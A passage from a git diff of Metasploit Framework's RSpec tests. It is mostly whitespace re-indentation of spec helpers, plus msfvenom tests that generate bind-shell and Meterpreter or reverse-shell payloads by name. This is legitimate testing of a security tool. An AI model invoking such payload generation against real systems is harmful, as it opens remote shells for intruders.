raise_error(MsfVenom::UsageError) + expect { venom.parse_args(%w! --help-formats !) }.to raise_error(MsfVenom::UsageError) + end + end + + context "with bad arguments" do + + it "should raise UsageError with empty arguments" do + expect { venom.parse_args([]) }.to raise_error(MsfVenom::UsageError) + end + + it "should raise with unexpected options" do + expect { venom.parse_args(%w! --non-existent-option !) }.to raise_error(MsfVenom::UsageError) + end + + %w! --platform -a -b -c -f -p -n -s -i -x !.each do |required_arg| + it "should raise UsageError with no arg for option #{required_arg}" do + expect { venom.parse_args([required_arg]) }.to raise_error(MsfVenom::UsageError) + end + end + + end + + end + + describe "#generate_raw_payload" do + + before do + venom.parse_args(args) + end + + context "with --options" do + + context "and a payload" do + let(:args) { %w! -o -p windows/meterpreter/reverse_tcp ! } + it "should print options" do + expect { venom.generate_raw_payload }.to_not raise_error + output = stderr.string + output.should include("LHOST") + output.should include("LPORT") + end + context "and some datastore options" do + it "should print options" do + venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp LPORT=1234! + expect { venom.generate_raw_payload }.to_not raise_error + output = stderr.string + output.should include("LHOST") + output.should match(/LPORT\s+1234/) + end + + it "should print options case-insensitively" do + venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp lPoRt=1234! + expect { venom.generate_raw_payload }.to_not raise_error + output = stderr.string + output.should include("LHOST") + output.should match(/LPORT\s+1234/) + end + end + end + + context "and an invalid payload" do + let(:args) { %w! -o -p asdf! } + it "should raise" do + expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError) + end + end + + end + + [ + { :format => "elf", :arch => "x86" }, + { :format => "raw", :arch => "x86" }, + { :format => "elf", :arch => "armle" }, + { :format => "raw", :arch => "armle" }, + { :format => "elf", :arch => "ppc" }, + { :format => "raw", :arch => "ppc" }, + { :format => "elf", :arch => "mipsle" }, + { :format => "raw", :arch => "mipsle" }, + ].each do |format_hash| + format = format_hash[:format] + arch = format_hash[:arch] + + context "building #{format} with linux/#{arch}/shell_bind_tcp" do + let(:args) { %W! -f #{format} -p linux/#{arch}/shell_bind_tcp ! } + # We're not encoding, so should be testable here + it "should contain /bin/sh" do + output = venom.generate_raw_payload + # Usually push'd in two instructions, so the whole string + # isn't all together. Check for the two pieces seperately + output.should include("/sh") + output.should include("/bin") + end + end + + end + + end + + describe "#generate" do + include_context 'Msf::Util::Exe' + + before { venom.parse_args(args) } + + context "with --list" do + + context "with invalid module type" do + let(:args) { %w!--list asdf! } + it "should raise UsageError" do + expect { venom.generate }.to raise_error(MsfVenom::UsageError) + end + end + + [ "nop", "encoder", "payload" ].each do |type| + context "#{type}s" do + let(:args) { %W!--list #{type}s! } + it_behaves_like "#{type} dumper" do + let(:dump) do + venom.generate + stderr.string + end + end + end + end + + end + + context "with invalid datastore option" do + let(:args) { %w!-f exe -p windows/shell_reverse_tcp LPORT=asdf! } + it "should fail validation" do + expect { venom.generate }.to raise_error(Msf::OptionValidateError) + end + end + + context "without required datastore option" do + # Requires LHOST + let(:args) { %w!-f exe -p windows/shell_reverse_tcp! } + it "should fail validation" do + expect { venom.generate }.to raise_error(Msf::OptionValidateError) + end + end + + @platform_format_map.each do |plat, formats| + formats.each do |format_hash| + format = format_hash[:format] + arch = format_hash[:arch] + # Need a new context for each so the let() will work correctly + context "with format=#{format} platform=#{plat} arch=#{arch}" do + # This will build executables with no payload. They won't work + # of course, but at least we can see that it is producing the + # correct file format for the given arch and platform. + let(:args) { %W! -p - -f #{format} -a #{arch} --platform #{plat} ! } + it "should print a #{format} to stdout" do + venom.generate + output = stdout.string + verify_bin_fingerprint(format_hash, output) + end + end + end + end + + end end diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 910228f14b1f..459103aba229 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -33,17 +33,17 @@ # factory_girl.set_factory_paths initializer and after_initialize for # FactoryGirl::Railtie config.before(:suite) do - # Need to load Mdm models first so factories can use them - MetasploitDataModels.require_models - - FactoryGirl.definition_file_paths = [ - MetasploitDataModels.root.join('spec', 'factories'), - # Have metasploit-framework's definition file path last so it can - # modify gem factories. - Metasploit::Framework.root.join('spec', 'factories') - ] - - FactoryGirl.find_definitions - end + # Need to load Mdm models first so factories can use them + MetasploitDataModels.require_models + + FactoryGirl.definition_file_paths = [ + MetasploitDataModels.root.join('spec', 'factories'), + # Have metasploit-framework's definition file path last so it can + # modify gem factories. + Metasploit::Framework.root.join('spec', 'factories') + ] + + FactoryGirl.find_definitions + end end diff --git a/spec/support/matchers/query_the_database.rb b/spec/support/matchers/query_the_database.rb index c7089c3ac925..81065f8181e6 100644 --- a/spec/support/matchers/query_the_database.rb +++ b/spec/support/matchers/query_the_database.rb @@ -1,108 +1,108 @@ module Shoulda # :nodoc: - module Matchers - module ActiveRecord # :nodoc: - - # Ensures that the number of database queries is known. Rails 3.1 or greater is required. - # - # Options: - # * when_calling - Required, the name of the method to examine. - # * with - Used in conjunction with when_calling to pass parameters to the method to examine. - # * or_less - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times. - # - # Examples: - # it { should query_the_database(4.times).when_calling(:complicated_counting_method) - # it { should query_the_database(4.times).or_less.when_calling(:generate_big_report) - # it { should_not query_the_database.when_calling(:cached_count) - # - def query_the_database(times = nil) - QueryTheDatabaseMatcher.new(times) - end - - class QueryTheDatabaseMatcher # :nodoc: - def initialize(times) - @queries = [] - @options = {} - - if times.respond_to?(:count) - @options[:expected_query_count] = times.count - else - @options[:expected_query_count] = times - end - end - - def when_calling(method_name) - @options[:method_name] = method_name - self - end - - def with(*method_arguments) - @options[:method_arguments] = method_arguments - self - end - - def or_less - @options[:expected_count_is_maximum] = true - self - end - - def matches?(subject) - subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |name, started, finished, id, payload| - @queries << payload unless filter_query(payload) - end - - if @options[:method_arguments] - subject.send(@options[:method_name], *@options[:method_arguments]) - else - subject.send(@options[:method_name]) - end - - ActiveSupport::Notifications.unsubscribe(subscriber) - - if @options[:expected_count_is_maximum] - @queries.length <= @options[:expected_query_count] - elsif @options[:expected_query_count].present? - @queries.length == @options[:expected_query_count] - else - @queries.length > 0 - end - end - - def failure_message_for_should - if @options.key?(:expected_query_count) - "Expected ##{@options[:method_name]} to cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries - else - "Expected ##{@options[:method_name]} to query the database but it actually caused #{@queries.length} queries:" + friendly_queries - end - end - - def failure_message_for_should_not - if @options[:expected_query_count] - "Expected ##{@options[:method_name]} to not cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries - else - "Expected ##{@options[:method_name]} to not query the database but it actually caused #{@queries.length} queries:" + friendly_queries - end - end - - private - - def friendly_queries - @queries.map do |query| - "\n (#{query[:name]}) #{query[:sql]}" - end.join - end - - def filter_query(query) - query[:name] == 'SCHEMA' || looks_like_schema?(query[:sql]) - end - - def schema_terms - ['FROM sqlite_master', 'PRAGMA', 'SHOW TABLES', 'SHOW KEYS FROM', 'SHOW FIELDS FROM', 'begin transaction', 'commit transaction'] - end - - def looks_like_schema?(sql) - schema_terms.any? { |term| sql.include?(term) } - end - end - end - end + module Matchers + module ActiveRecord # :nodoc: + + # Ensures that the number of database queries is known. Rails 3.1 or greater is required. + # + # Options: + # * when_calling - Required, the name of the method to examine. + # * with - Used in conjunction with when_calling to pass parameters to the method to examine. + # * or_less - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times. + # + # Examples: + # it { should query_the_database(4.times).when_calling(:complicated_counting_method) + # it { should query_the_database(4.times).or_less.when_calling(:generate_big_report) + # it { should_not query_the_database.when_calling(:cached_count) + # + def query_the_database(times = nil) + QueryTheDatabaseMatcher.new(times) + end + + class QueryTheDatabaseMatcher # :nodoc: + def initialize(times) + @queries = [] + @options = {} + + if times.respond_to?(:count) + @options[:expected_query_count] = times.count + else + @options[:expected_query_count] = times + end + end + + def when_calling(method_name) + @options[:method_name] = method_name + self + end + + def with(*method_arguments) + @options[:method_arguments] = method_arguments + self + end + + def or_less + @options[:expected_count_is_maximum] = true + self + end + + def matches?(subject) + subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |name, started, finished, id, payload| + @queries << payload unless filter_query(payload) + end + + if @options[:method_arguments] + subject.send(@options[:method_name], *@options[:method_arguments]) + else + subject.send(@options[:method_name]) + end + + ActiveSupport::Notifications.unsubscribe(subscriber) + + if @options[:expected_count_is_maximum] + @queries.length <= @options[:expected_query_count] + elsif @options[:expected_query_count].present? + @queries.length == @options[:expected_query_count] + else + @queries.length > 0 + end + end + + def failure_message_for_should + if @options.key?(:expected_query_count) + "Expected ##{@options[:method_name]} to cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries + else + "Expected ##{@options[:method_name]} to query the database but it actually caused #{@queries.length} queries:" + friendly_queries + end + end + + def failure_message_for_should_not + if @options[:expected_query_count] + "Expected ##{@options[:method_name]} to not cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries + else + "Expected ##{@options[:method_name]} to not query the database but it actually caused #{@queries.length} queries:" + friendly_queries + end + end + + private + + def friendly_queries + @queries.map do |query| + "\n (#{query[:name]}) #{query[:sql]}" + end.join + end + + def filter_query(query) + query[:name] == 'SCHEMA' || looks_like_schema?(query[:sql]) + end + + def schema_terms + ['FROM sqlite_master', 'PRAGMA', 'SHOW TABLES', 'SHOW KEYS FROM', 'SHOW FIELDS FROM', 'begin transaction', 'commit transaction'] + end + + def looks_like_schema?(sql) + schema_terms.any? { |term| sql.include?(term) } + end + end + end + end end diff --git a/spec/support/shared/contexts/database_cleaner.rb b/spec/support/shared/contexts/database_cleaner.rb index 2ffec31a47ba..5bbb900e15dd 100644 --- a/spec/support/shared/contexts/database_cleaner.rb +++ b/spec/support/shared/contexts/database_cleaner.rb @@ -2,36 +2,36 @@ require 'metasploit/framework/database' shared_context 'DatabaseCleaner' do - def with_established_connection - begin - ActiveRecord::Base.connection_pool.with_connection do - yield - end - rescue ActiveRecord::ConnectionNotEstablished - # if there isn't a connection established, then established one and try - # again - ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations - spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] - ActiveRecord::Base.establish_connection(spec) + def with_established_connection + begin + ActiveRecord::Base.connection_pool.with_connection do + yield + end + rescue ActiveRecord::ConnectionNotEstablished + # if there isn't a connection established, then established one and try + # again + ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations + spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] + ActiveRecord::Base.establish_connection(spec) - retry - end - end + retry + end + end - # clean before all in case last test run was interrupted before - # after(:each) could clean up - before(:all) do - with_established_connection do - DatabaseCleaner.clean_with(:truncation) - end - end + # clean before all in case last test run was interrupted before + # after(:each) could clean up + before(:all) do + with_established_connection do + DatabaseCleaner.clean_with(:truncation) + end + end - # Clean up after each test - after(:each) do - with_established_connection do - # Testing using both :truncation and :deletion; :truncation took long - # for testing. - DatabaseCleaner.clean_with(:deletion) - end - end + # Clean up after each test + after(:each) do + with_established_connection do + # Testing using both :truncation and :deletion; :truncation took long + # for testing. + DatabaseCleaner.clean_with(:deletion) + end + end end diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index a36d4c7d79e7..c060b5ceb318 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -1,23 +1,23 @@ shared_context 'Msf::DBManager' do - include_context 'DatabaseCleaner' - include_context 'Msf::Simple::Framework' + include_context 'DatabaseCleaner' + include_context 'Msf::Simple::Framework' - let(:active) do - true - end + let(:active) do + true + end - let(:db_manager) do - framework.db - end + let(:db_manager) do + framework.db + end - before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] + before(:each) do + configurations = Metasploit::Framework::Database.configurations + spec = configurations[Metasploit::Framework.env] - # Need to connect or ActiveRecord::Base.connection_pool will raise an - # error. - db_manager.connect(spec) + # Need to connect or ActiveRecord::Base.connection_pool will raise an + # error. + db_manager.connect(spec) - db_manager.stub(:active => active) - end + db_manager.stub(:active => active) + end end \ No newline at end of file diff --git a/spec/support/shared/contexts/msf/modules/error_attributes.rb b/spec/support/shared/contexts/msf/modules/error_attributes.rb index f948f5742673..1d7c7474ea25 100644 --- a/spec/support/shared/contexts/msf/modules/error_attributes.rb +++ b/spec/support/shared/contexts/msf/modules/error_attributes.rb @@ -1,14 +1,14 @@ # -*- coding:binary -*- shared_context 'Msf::Modules::Error attributes' do - let(:causal_message) do - 'rspec' - end + let(:causal_message) do + 'rspec' + end - let(:module_path) do - "parent/path/type/#{module_reference_name}.rb" - end + let(:module_path) do + "parent/path/type/#{module_reference_name}.rb" + end - let(:module_reference_name) do - 'module/reference/name' - end + let(:module_reference_name) do + 'module/reference/name' + end end diff --git a/spec/support/shared/contexts/msf/modules/loader_base.rb b/spec/support/shared/contexts/msf/modules/loader_base.rb index 9b6eac3423a1..49bea73bc913 100644 --- a/spec/support/shared/contexts/msf/modules/loader_base.rb +++ b/spec/support/shared/contexts/msf/modules/loader_base.rb @@ -1,14 +1,14 @@ # -*- coding:binary -*- shared_context "Msf::Modules::Loader::Base" do - let(:parent_path) do - parent_pathname.to_s - end + let(:parent_path) do + parent_pathname.to_s + end - let(:parent_pathname) do - root_pathname.join('modules') - end + let(:parent_pathname) do + root_pathname.join('modules') + end - let(:root_pathname) do - Pathname.new(Msf::Config.install_root) - end + let(:root_pathname) do + Pathname.new(Msf::Config.install_root) + end end diff --git a/spec/support/shared/contexts/msf/simple/framework.rb b/spec/support/shared/contexts/msf/simple/framework.rb index d5f7235b73c7..e55df0820752 100644 --- a/spec/support/shared/contexts/msf/simple/framework.rb +++ b/spec/support/shared/contexts/msf/simple/framework.rb @@ -3,38 +3,38 @@ require 'metasploit/framework' shared_context 'Msf::Simple::Framework' do - let(:dummy_pathname) do - Metasploit::Framework.root.join('spec', 'dummy') - end - - let(:framework) do - Msf::Simple::Framework.create( - 'ConfigDirectory' => framework_config_pathname.to_s, - # don't load any module paths so we can just load the module under test and save time - 'DeferModuleLoads' => true - ) - end - - let(:framework_config_pathname) do - dummy_pathname.join('framework', 'config') - end - - before(:each) do - framework_config_pathname.mkpath - end - - after(:each) do - dummy_pathname.rmtree - end - - after(:each) do - # explicitly kill threads so that they don't exhaust connection pool - thread_manager = framework.threads - - thread_manager.each do |thread| - thread.kill - end - - thread_manager.monitor.kill - end + let(:dummy_pathname) do + Metasploit::Framework.root.join('spec', 'dummy') + end + + let(:framework) do + Msf::Simple::Framework.create( + 'ConfigDirectory' => framework_config_pathname.to_s, + # don't load any module paths so we can just load the module under test and save time + 'DeferModuleLoads' => true + ) + end + + let(:framework_config_pathname) do + dummy_pathname.join('framework', 'config') + end + + before(:each) do + framework_config_pathname.mkpath + end + + after(:each) do + dummy_pathname.rmtree + end + + after(:each) do + # explicitly kill threads so that they don't exhaust connection pool + thread_manager = framework.threads + + thread_manager.each do |thread| + thread.kill + end + + thread_manager.monitor.kill + end end diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 385abe986d7c..985914246a2d 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -1,18 +1,18 @@ shared_context 'Msf::UIDriver' do - let(:driver) do - double( - 'Driver', - :framework => framework - ).tap { |driver| - driver.stub(:on_command_proc=).with(kind_of(Proc)) - driver.stub(:print_line).with(kind_of(String)) do |string| - @output ||= [] - @output.concat string.split("\n") - end - driver.stub(:print_error).with(kind_of(String)) do |string| - @error ||= [] - @error.concat string.split("\n") - end - } - end + let(:driver) do + double( + 'Driver', + :framework => framework + ).tap { |driver| + driver.stub(:on_command_proc=).with(kind_of(Proc)) + driver.stub(:print_line).with(kind_of(String)) do |string| + @output ||= [] + @output.concat string.split("\n") + end + driver.stub(:print_error).with(kind_of(String)) do |string| + @error ||= [] + @error.concat string.split("\n") + end + } + end end diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb index 36a319683a4c..05e3f09697da 100644 --- a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -1,23 +1,23 @@ shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_detail child' do |child_node_name| - attribute_name = child_node_name.underscore + attribute_name = child_node_name.underscore - subject(:child_node) do - module_detail_node.at_xpath(child_node_name) - end + subject(:child_node) do + module_detail_node.at_xpath(child_node_name) + end - let(:attribute) do - module_detail.send(attribute_name) - end + let(:attribute) do + module_detail.send(attribute_name) + end - it "should not have Mdm::Module::Detail##{attribute_name} nil" do - attribute.should_not be_nil - end + it "should not have Mdm::Module::Detail##{attribute_name} nil" do + attribute.should_not be_nil + end - it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do - if attribute == false - child_node.content.should be_blank - else - child_node.content.should == attribute.to_s - end - end + it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do + if attribute == false + child_node.content.should be_blank + else + child_node.content.should == attribute.to_s + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb index 964925675ac0..5e28d2f5e669 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb @@ -2,1173 +2,1173 @@ require 'builder' shared_examples_for 'Msf::DBManager::ImportMsfXml' do - # Serialized format from pro/modules/auxiliary/pro/report.rb - def serialize(object) - # FIXME https://www.pivotaltracker.com/story/show/46578647 - marshalled = Marshal.dump(object) - base64_encoded = [marshalled].pack('m') - compact = base64_encoded.gsub(/\s+/, '') - - compact - end - - def with_info - db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| - info = specialization.call(element, options) - - yield info - end - - subject - end - - let(:allow_yaml) do - false - end - - let(:document) do - REXML::Document.new(source) - end - - let(:element) do - nil - end - - let(:host_attributes) do - FactoryGirl.attributes_for(:mdm_host) - end - - let(:msf_web_text_element_names) do - [ - 'created-at', - 'host', - 'path', - 'port', - 'query', - 'ssl', - 'updated-at', - 'vhost' - ] - end - - let(:notifier) do - lambda do |event, data| - - end - end - - let(:options) do - { - :allow_yaml => allow_yaml, - :workspace => workspace - } - end - - let(:service_attributes) do - FactoryGirl.attributes_for(:web_service) - end - - let(:web_form_attributes) do - FactoryGirl.attributes_for(:mdm_web_form, :exported) - end - - let(:web_page_attributes) do - FactoryGirl.attributes_for(:mdm_web_page) - end - - let(:workspace) do - nil - end - - let(:xml) do - Builder::XmlMarkup.new(:indent => 2) - end - - it 'should include methods from module so method can be overridden easier in pro' do - db_manager.should be_a Msf::DBManager::ImportMsfXml - end - - context 'CONSTANTS' do - it 'should define MSF_WEB_PAGE_TEXT_ELEMENT_NAMES in any order' do - described_class::MSF_WEB_PAGE_TEXT_ELEMENT_NAMES =~ [ - 'auth', - 'body', - 'code', - 'cookie', - 'ctype', - 'location', - 'mtime' - ] - end - - it 'should define MSF_WEB_TEXT_ELEMENT_NAMES in any order' do - described_class::MSF_WEB_TEXT_ELEMENT_NAMES =~ msf_web_text_element_names - end - - it 'should define MSF_WEB_VULN_TEXT_ELEMENT_NAMES in any order' do - described_class::MSF_WEB_VULN_TEXT_ELEMENT_NAMES =~ [ - 'blame', - 'category', - 'confidence', - 'description', - 'method', - 'name', - 'pname', - 'proof', - 'risk' - ] - end - end - - context '#check_msf_xml_version!' do - let(:root_tag) do - 'root' - end - - let(:source) do - xml.tag!(root_tag) - - xml.target! - end - - subject(:metadata) do - db_manager.send(:check_msf_xml_version!, document) - end - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV1', - :allow_yaml => true - ) - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV2', - :allow_yaml => true - ) - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV3', - :allow_yaml => false - ) - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV4', - :allow_yaml => false - ) - - context 'with other' do - it 'should raise DBImportError' do - expect { - metadata - }.to raise_error( - Msf::DBImportError, - 'Unsupported Metasploit XML document format' - ) - end - end - end - - context '#import_msf_text_element' do - let(:parent_element) do - document.root - end - - let(:child_name) do - 'child' - end - - let(:child_sym) do - child_name.to_sym - end - - subject(:info) do - db_manager.send(:import_msf_text_element, parent_element, child_name) - end - - context 'with child element' do - let(:source) do - xml.parent do - xml.tag!(child_name, text) - end - - xml.target! - end - - context 'with padded text' do - let(:stripped) do - 'stripped' - end - - let(:text) do - " #{stripped} " - end - - it 'should strip text' do - info[:child].should == stripped - end - end - - context 'with NULL text' do - let(:text) do - 'NULL' - end - - it 'should have nil for child name in info' do - # use have_key to verify info isn't just returning hash default of - # `nil`. - info.should have_key(child_sym) - info[child_sym].should be_nil - end - end - - context 'without NULL text' do - let(:text) do - 'some text' - end - - it 'should have text for child name in info' do - info[child_sym].should == text - end - end - end - - context 'without child element' do - let(:source) do - xml.parent - - xml.target! - end - - it 'should return an empty Hash' do - info.should == {} - end - end - end - - context 'import_msf_web_element' do - let(:element) do - document.root - end - - let(:options) do - {} - end - - let(:specialization) do - lambda { |element, options| - {} - } - end - - subject(:import_msf_web_element) do - db_manager.send( - :import_msf_web_element, - element, - options, - &specialization - ) - end - - context 'with :type' do - include_context 'DatabaseCleaner' - - let(:source) do - xml.tag!("web_#{type}") do - web_site = web_vuln.web_site - service = web_site.service - - xml.host(service.host.address) - xml.path(web_vuln.path) - xml.port(service.port) - xml.query(web_vuln.query) - - ssl = false - - if service.name == 'https' - ssl = true - end - - xml.ssl(ssl) - - xml.vhost(web_site.vhost) - end - - xml.target! - end - - let(:type) do - :vuln - end - - let(:web_vuln) do - FactoryGirl.create(:mdm_web_vuln) - end - - before(:each) do - db_manager.stub( - :report_web_vuln - ).with( - an_instance_of(Hash) - ) - - options[:type] = type - end - - context 'with :workspace' do - let(:workspace) do - double(':workspace') - end - - before(:each) do - options[:workspace] = workspace - end - - it 'should not call Msf::DBManager#workspace' do - db_manager.should_not_receive(:workspace) - - import_msf_web_element - end - - it 'should pass :workspace to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:workspace => workspace) - ) - - import_msf_web_element - end - end - - context 'without :workspace' do - let(:workspace) do - FactoryGirl.create(:mdm_workspace) - end - - before(:each) do - db_manager.workspace = workspace - end - - it 'should call Msf::DBManager#workspace' do - db_manager.should_receive(:workspace).and_call_original - - import_msf_web_element - end - - it 'should pass Msf::DBManager#workspace to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:workspace => workspace) - ) - - import_msf_web_element - end - end - - it 'should import all elements in MSF_WEB_TEXT_ELEMENT_NAMES with #import_msf_text_element' do - msf_web_text_element_names.each do |name| - db_manager.should_receive( - :import_msf_text_element - ).with( - element, - name - ).and_call_original - end - - import_msf_web_element - end - - context 'with non-empty Hash from #import_msf_text_element' do - let(:returned_hash) do - { - :host => '192.168.0.1' - } - end - - before(:each) do - db_manager.stub(:import_msf_text_element).and_return(returned_hash) - end - - it 'should pass returned Hash as part of Hash passed to report_web_<:type' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(returned_hash) - ) - - import_msf_web_element - end - end - - context 'ssl element' do - context 'without element' do - let(:source) do - xml.tag!("web_#{type}") - - xml.target! - end - - it 'should pass false for :ssl to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:ssl => false) - ) - - import_msf_web_element - end - end - - context 'with element' do - let(:source) do - xml.tag!("web_#{type}") do - xml.ssl(ssl) - end - - xml.target! - end - - context "with 'true' text" do - let(:ssl) do - true - end - - it 'should pass true for :ssl to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:ssl => true) - ) - - import_msf_web_element - end - end - - context "without 'true' text" do - let(:ssl) do - false - end - - it 'should pass false for :ssl to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:ssl => false) - ) - - import_msf_web_element - end - end - end - end - - context 'specialization block' do - let(:returned_hash) do - { - :specialized => double('Value') - } - end - - let(:specialization) do - lambda { |element, option| - returned_hash - } - end - - it 'should be called with element and options' do - actual_args = [] - - db_manager.send( - :import_msf_web_element, - element, - options) do |*args| - actual_args = args - - returned_hash - end - - actual_args.should == [element, options] - end - - it 'should pass return Hash to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(returned_hash) - ) - - import_msf_web_element - end - end - - context 'notifier' do - context 'with :notifier' do - let(:event) do - "web_#{type}".to_sym - end - - let(:notifier) do - lambda do |*args| - successive_args << args - end - end - - let(:successive_args) do - [] - end - - before(:each) do - options[:notifier] = notifier - end - - it 'should call :notifier with event and path' do - import_msf_web_element - - successive_args.length.should == 1 - - args = successive_args[0] - - args.length.should == 2 - args[0].should == event - args[1].should == web_vuln.path - end - end - - context 'without :notifier' do - it 'should not raise an error' do - expect { - import_msf_web_element - }.to_not raise_error - end - end - end - end - - context 'without :type' do - let(:element) do - nil - end - - it 'should raise KeyError' do - expect { - import_msf_web_element - }.to raise_error(KeyError, 'key not found: :type') - end - end - end - - context '#import_msf_web_form_element' do - let(:type) do - :form - end - - subject(:import_msf_web_form_element) do - db_manager.import_msf_web_form_element( - element, - options, - ¬ifier - ) - end - - context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' - - context 'specialization return' do - let(:element) do - document.root - end - - let(:source) do - xml.web_form do - xml.method( - web_form_attributes.fetch(:method) - ) - - serialized_params = serialize( - web_form_attributes.fetch(:params) - ) - xml.params(serialized_params) - end - - xml.target! - end - - it 'should be a Hash' do - with_info do |info| - info.should be_a Hash - end - end - - it 'should include :method' do - with_info do |info| - info[:method].should == web_form_attributes[:method] - end - end - - it 'should include :params' do - with_info do |info| - info[:params].should == web_form_attributes[:params] - end - end - end - end - - context 'with required attributes' do - include_context 'DatabaseCleaner' - - let(:element) do - document.root - end - - let(:source) do - xml.web_form do - xml.host( - host_attributes.fetch(:address) - ) - xml.method( - web_form_attributes.fetch(:method) - ) - xml.path( - web_form_attributes.fetch(:path) - ) - xml.port( - service_attributes.fetch(:port) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - - xml.target! - end - - it 'should create an Mdm::WebForm' do - expect { - import_msf_web_form_element - }.to change(Mdm::WebForm, :count).by(1) - end - end - end - - context '#import_msf_web_page_element' do - let(:type) do - :page - end - - subject(:import_msf_web_page_element) do - db_manager.import_msf_web_page_element( - element, - options, - ¬ifier - ) - end - - context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' - - context 'specialization return' do - let(:element) do - document.root - end - - let(:source) do - xml.web_page do - xml.auth( - web_page_attributes.fetch(:auth) - ) - xml.body( - web_page_attributes.fetch(:body) - ) - xml.code( - web_page_attributes.fetch(:code) - ) - xml.cookie( - web_page_attributes.fetch(:cookie) - ) - xml.ctype( - web_page_attributes.fetch(:ctype) - ) - - serialized_headers = serialize( - web_page_attributes.fetch(:headers) - ) - xml.headers(serialized_headers) - - xml.location( - web_page_attributes.fetch(:location) - ) - xml.mtime( - web_page_attributes.fetch(:mtime) - ) - end - - xml.target! - end - - it 'should be a Hash' do - db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| - info = specialization.call(element, options) - - info.should be_a Hash - end - - import_msf_web_page_element - end - - it 'should include :auth' do - with_info do |info| - info[:auth].should == web_page_attributes.fetch(:auth) - end - end - - it 'should include :body' do - with_info do |info| - info[:body].should == web_page_attributes.fetch(:body) - end - end - - it 'should include :code' do - with_info do |info| - info[:code].should == web_page_attributes.fetch(:code) - end - end - - it 'should include :cookie' do - with_info do |info| - info[:cookie].should == web_page_attributes.fetch(:cookie) - end - end - - it 'should include :ctype' do - with_info do |info| - info[:ctype].should == web_page_attributes.fetch(:ctype) - end - end - - it 'should include :headers' do - with_info do |info| - info[:headers].should == web_page_attributes.fetch(:headers) - end - end - - it 'should include :location' do - with_info do |info| - info[:location].should == web_page_attributes.fetch(:location) - end - end - - it 'should include :mtime' do - with_info do |info| - info[:mtime].should == web_page_attributes.fetch(:mtime) - end - end - end - end - - context 'with required attributes' do - include_context 'DatabaseCleaner' - - let(:element) do - document.root - end - - let(:source) do - xml.web_page do - xml.body( - web_page_attributes.fetch(:body) - ) - xml.code( - web_page_attributes.fetch(:code) - ) - - serialized_headers = serialize( - web_page_attributes.fetch(:headers) - ) - xml.headers(serialized_headers) - - xml.host( - host_attributes.fetch(:address) - ) - xml.path( - web_page_attributes.fetch(:headers) - ) - xml.port( - service_attributes.fetch(:port) - ) - xml.query( - web_page_attributes.fetch(:query) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - - xml.target! - end - - it 'should create an Mdm::WebPage' do - expect { - import_msf_web_page_element - }.to change(Mdm::WebPage, :count).by(1) - end - end - end - - context '#import_msf_web_vuln_element' do - let(:type) do - :vuln - end - - let(:web_vuln_attributes) do - FactoryGirl.attributes_for(:exported_web_vuln) - end - - 